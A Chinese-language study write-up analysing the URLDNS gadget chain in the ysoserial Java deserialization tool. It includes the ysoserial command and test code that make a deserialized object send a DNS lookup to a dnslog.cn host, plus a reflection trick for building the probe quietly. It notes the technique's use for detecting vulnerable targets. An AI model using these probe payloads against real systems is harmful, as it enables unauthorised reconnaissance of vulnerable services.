作為 ysoserial 中最簡單鏈,這里簡單記錄學習一下
首先使用ysoserial生成urldns的探測類型
首先先去 dnslog.cn
獲取一個url

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://pk3q64.dnslog.cn" > Test.txt
查看生成的文件


Java反序列化后的前幾個字節就是 ac ed
這其實是一個序列化后的對象,這里我們將它反序列化看一下
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class DnsTest {
public static void main(String[] args) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));
Object test = ois.readObject();
System.out.println(test);
}
}
我們將這個反序列化了一下
隨即我們就收到了DNS查詢的記錄

這是為什么呢
接下來分析一下
簡單的觀察一下ysoserial
我們剛才生成一個Payload使用的是類似於 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://pk3q64.dnslog.cn" > Test.txt
的命令
我們分析一下干了什么吧
首先下載 ysoserial
項目
https://github.com/frohoff/ysoserial
生成Payload的類在 GeneratePayload.java

首先檢查我們傳入的參數是否正確,然后將我們調用的payload放入 payloadType
,參數放入 command
例如上文我們調用的是 URLDNS
參數是我們的url

之后將我們的payload傳入 Utils.getPayloadClass
中,這個是作者自己實現的一個工具類,我們傳入payload,根據反射獲取到類的 Class
,然后判斷是否為空
其中Payload都放在 payloads
文件夾下

我們這里面調用的就是 URLDNS
了

之后根據 Class
獲取到類的實例,然后向 getObject
方法中傳入我們的參數,將返回的對象序列化輸出,我們后面用 > test.txt
就是把序列化的數據重定向到文件中
其中 getObject
的實現如下

這個就是 ysoserial 的簡單工作原理,其他的也類似
分析
DNSURL 反序列化的鏈為
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
首先序列化點在 HashMap的 readObject
方法(因為實現了Serializable接口)

readObject
調用了 putVal方法,且參數里調用了 HashMap的hash方法

繼續跟進

因為HashMap里面的 key 與 Value 是一個對應的關系,所以看看 ysoserial傳入的 key
是什么吧

顯然傳入的 key
是 URL
類
因此是調用了 URL
中的 hashCode方法,跟進看一下

若 hashcode
的值為 -1
則調用 handler.hashcode
方法
其實這個值默認就是 -1
的

yso中也是用反射將其強制設置為 -1

調用的 hander.hashCode
其實也就是我們傳入的 hander

在 URL
的構造方法中將其初始化為我們傳入的

ysoserial 中的 SilentURLStreamHandler
其實就是 URLStreamHandler
的子類(為了程序的健壯性,后面有解釋)
所以 handler.hashCode(this)
其實就是調用的 URLStreamHandler.hashCode(this)
,我們跟進一下

這里面將 u
傳入 getHostAddress
跟進getHostAddress

其中將 u.getHost()
的結果放入 InetAddress.getByName
此函數將是根據主機名獲取對應ip,相當於發出一次dnslog請求
我們查看一下 URL.getHost()

返回的是 host
,而這個值已經在我們初始化 URL
的時候就被設置了(設置為我們一開始傳入的url)
因此一套簡單的流程就出來了
后續思考
我們查看一下HashMap的 put
方法看看

發現也調用了 hash方法

那這樣我們利用 ysoserial 生成 POC的時候,也不是會有dns請求嗎?

我們測試一下
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
/*public static void main(String[] args) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));
Object test = ois.readObject();
System.out.println(test);
}*/
public static void main(String[] args) throws Exception{
HashMap test = new HashMap();
URL url = new URL("http://s2i0ku.dnslog.cn");
test.put(url,233);
}
}

確實會產生很多請求
有個方法就是通過反射修改 hashCode的值(將URL的 hashCode修改為非 -1 就不會調用到了)
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
/*public static void main(String[] args) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));
Object test = ois.readObject();
System.out.println(test);
}*/
public static void main(String[] args) throws Exception{
HashMap test = new HashMap();
URL url = new URL("http://x5221n.dnslog.cn\n");
Field justhash = Class.forName("java.net.URL").getDeclaredField("hashCode");
justhash.setAccessible(true);
justhash.set(url,123);
test.put(url,233);
}
}

那么 URLDNS 呢

也沒有產生請求
原因在這個

這個 SilentURLStreamHandler
繼承了 URLStreamHandler
重寫了里面的 openConnection
和 getHostAddress

因此在調用 put
方法的時候不會觸發 dns 查詢
那這樣我們反序列化的時候不是也因為重寫了方法而不能進行 dns 查詢嗎?
原因是因為 URL
里面的 handler
設置的是 transient

因為transient修飾符無法被序列化,所以雖然它最后是沒執行dns請求,但是在反序列化的時候還是會執行dns請求!
簡單測試一下
User.java
package YsoStudent;
import java.io.Serializable;
public class User implements Serializable {
private int age=13;
private transient String name;
public int getAge{
return age;
}
public String getName{
return name;
}
public void setAge(int age)
{
this.age=age;
}
public void setName(String name)
{
this.name=name;
}
@Override
public String toString() {
return "User{" +
"age="+age+",name="+name+"}";
}
}
package YsoStudent;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Test {
public static void main(String[] args) throws Exception {
SerializableUser();
UnSerializableUser();
}
private static void SerializableUser() throws Exception{
User user = new User();
user.setAge(16);
user.setName("Mikasa");
// ObjectOutputStream obj=new ObjectOutputStream(new FileOutputStream("/Users/maniac/Desktop/java/unSerializableDemo/test1.ser"));
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("/Users/mikasa/Desktop/tese.txt"));
obj.writeObject(user);
obj.close();
System.out.println("原數據為"+user);
}
private static void UnSerializableUser() throws Exception{
ObjectInputStream test = new ObjectInputStream(new FileInputStream("/Users/mikasa/Desktop/tese.txt"));
User user = (User) test.readObject();
System.out.println("反序列化結果是:"+user);
}
}

可以看見 name
屬性未被反序列化,還是原來的值(為賦值前 為 null)
總結
雖然 URLDNS
不能Getshell,但是可以幫助我們探測目標是否存在漏洞等,寫POC或者掃描器的時候挺適用的